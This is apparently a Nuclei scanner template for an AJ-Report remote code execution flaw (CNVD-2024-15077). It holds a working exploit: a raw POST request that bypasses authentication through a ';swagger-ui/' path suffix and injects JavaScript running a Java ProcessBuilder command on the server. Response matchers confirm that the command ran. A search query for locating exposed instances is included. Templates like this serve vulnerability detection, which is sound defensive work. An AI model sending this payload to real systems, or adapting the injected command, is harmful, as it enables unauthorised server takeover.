id: CNVD-2024-15077

info:
  name: AJ-Report Open Source Data Screen - Remote Code Execution
  author: pussycat0x
  severity: high
  description: |
    AJ Report The platform can execute commands in the corresponding value of the validationRules parameter through post method, obtain server permissions, and log in to the management background to take over the large screen. If it is used by lawless elements to write reactionary slogans, the harmful consequences will be very serious.
  reference:
    - https://github.com/wy876/POC/blob/main/AJ-Report%E5%BC%80%E6%BA%90%E6%95%B0%E6%8D%AE%E5%A4%A7%E5%B1%8F%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
    - https://github.com/vulhub/vulhub/blob/master/aj-report/CNVD-2024-15077/README.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="AJ-Report"
  tags: cnvd,cnvd2024,aj-report,rce

http:
  - raw:
      - |
        POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        Content-Type: application/json;charset=UTF-8

        {"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "code"
          - "data"
        condition: and

      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a0ad6d10ef5ed64fff1a44a4efb42b8c18de347907d77e68fec2a9f796030e8c022003c9c9bcfc6d56d3a3c7988f48874841753487e2ce57d91740ffbe99e3627448:922c64590222798bb761d5b6d8e72950